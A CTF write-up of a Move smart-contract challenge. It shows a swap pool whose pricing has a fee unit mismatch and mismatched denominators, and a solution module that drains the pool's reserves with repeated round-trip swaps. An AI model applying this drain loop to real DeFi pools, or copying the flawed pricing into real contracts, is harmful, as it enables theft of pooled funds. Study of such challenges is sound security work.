Back to blog
September 25, 2025CTF - Smart Contracts

Defcon - Appsec CTF - Move Arbitrage

we have to drain the pool so either token_a_reserve <= 10 or token_b_reserve <= 10, then call check_solution. You start as a user with token_a = 10 and token_b = 20. The pool starts A=100, B=200, fee_rate=30.


challenge

module challenge::challenge {
    use std::signer;

    struct SwapPool has key {
        token_a_reserve: u64,
        token_b_reserve: u64,
        fee_rate: u64,
        user_created: bool
    }

    struct UserBalance has key {
        token_a: u64,
        token_b: u64
    }

    public entry fun initialize(admin: &signer) {
        assert!(signer::address_of(admin) == @challenger);

        let pool = SwapPool {
            token_a_reserve: 100,
            token_b_reserve: 200,
            fee_rate: 30,
            user_created: false
        };

        move_to(admin, pool);
    }

    public entry fun initialize_user(user: &signer) acquires SwapPool {
        let balance = UserBalance { token_a: 10, token_b: 20 };
        borrow_global_mut<SwapPool>(@challenger).user_created = true;
        move_to(user, balance);
    }

    public entry fun swap_a_to_b(
        user: &signer, amount_in: u64, min_amount_out: u64
    ) acquires SwapPool, UserBalance {
        let user_addr = signer::address_of(user);
        let pool = borrow_global_mut<SwapPool>(@challenger);
        let user_balance = borrow_global_mut<UserBalance>(user_addr);

        assert!(amount_in > 0);
        assert!(user_balance.token_a >= amount_in);

        let fee_adjusted_amount_in = amount_in * (1000 - pool.fee_rate);
        let numerator = pool.token_b_reserve * fee_adjusted_amount_in;
        let denominator = pool.token_a_reserve * 500 + fee_adjusted_amount_in;

        let amount_out = numerator / denominator;

        assert!(amount_out >= min_amount_out);
        assert!(pool.token_b_reserve > amount_out);

        user_balance.token_a -= amount_in;
        user_balance.token_b += amount_out;

        pool.token_a_reserve += amount_in;
        pool.token_b_reserve -= amount_out;
    }

    public entry fun swap_b_to_a(
        user: &signer, amount_in: u64, min_amount_out: u64
    ) acquires SwapPool, UserBalance {
        let user_addr = signer::address_of(user);
        let pool = borrow_global_mut<SwapPool>(@challenger);
        let user_balance = borrow_global_mut<UserBalance>(user_addr);

        assert!(amount_in > 0);
        assert!(user_balance.token_b >= amount_in);

        let fee_adjusted_amount_in = amount_in * (1000 - pool.fee_rate);
        let numerator = pool.token_a_reserve * fee_adjusted_amount_in;
        let denominator = pool.token_b_reserve * 970 + fee_adjusted_amount_in;

        let amount_out = numerator / denominator;

        assert!(amount_out >= min_amount_out);
        assert!(pool.token_a_reserve > amount_out);

        user_balance.token_b -= amount_in;
        user_balance.token_a += amount_out;

        pool.token_b_reserve += amount_in;
        pool.token_a_reserve -= amount_out;
    }

    public fun get_pool_info(): (u64, u64) acquires SwapPool {
        let pool = borrow_global<SwapPool>(@challenger);
        (pool.token_a_reserve, pool.token_b_reserve)
    }

    public fun get_user_balance(user_addr: address): (u64, u64) acquires UserBalance {
        let balance = borrow_global<UserBalance>(user_addr);
        (balance.token_a, balance.token_b)
    }

    public entry fun check_solution(_account: &signer) acquires SwapPool {
        let pool = borrow_global<SwapPool>(@challenger);
        assert!(
            pool.token_a_reserve <= 10 || pool.token_b_reserve <= 10
        );
    }
}

A → B:

let fee_adjusted_amount_in = amount_in * (1000 - pool.fee_rate);
let numerator = pool.token_b_reserve * fee_adjusted_amount_in;
let denominator = pool.token_a_reserve * 500 + fee_adjusted_amount_in;
let amount_out = numerator / denominator;

B → A:

let fee_adjusted_amount_in = amount_in * (1000 - pool.fee_rate);
let numerator = pool.token_a_reserve * fee_adjusted_amount_in;
let denominator = pool.token_b_reserve * 970 + fee_adjusted_amount_in;
let amount_out = numerator / denominator;

so basically fee is scaled but never divided by 1000 (unit mismatch), and the two swap directions use different denominators (500 vs 970) —> together these make a round-trip A→B→A profitable for the attacker instead of costly.

module solution::solve {
    use std::signer;
    use challenge::challenge;

    public entry fun solve(account: &signer) {
        challenge::initialize_user(account);

        let user_addr = signer::address_of(account);

        loop {
            let (pool_a, pool_b) = challenge::get_pool_info();
            if (pool_a <= 10 || pool_b <= 10) {
                break;
            };

            let (user_a, user_b) = challenge::get_user_balance(user_addr);

            if (user_a > 0) {
                challenge::swap_a_to_b(account, user_a, 0);
            };

            let (_user_a2, user_b2) = challenge::get_user_balance(user_addr);

            if (user_b2 > 0) {
                challenge::swap_b_to_a(account, user_b2, 0);
            };

        };

        challenge::check_solution(account);
    }
}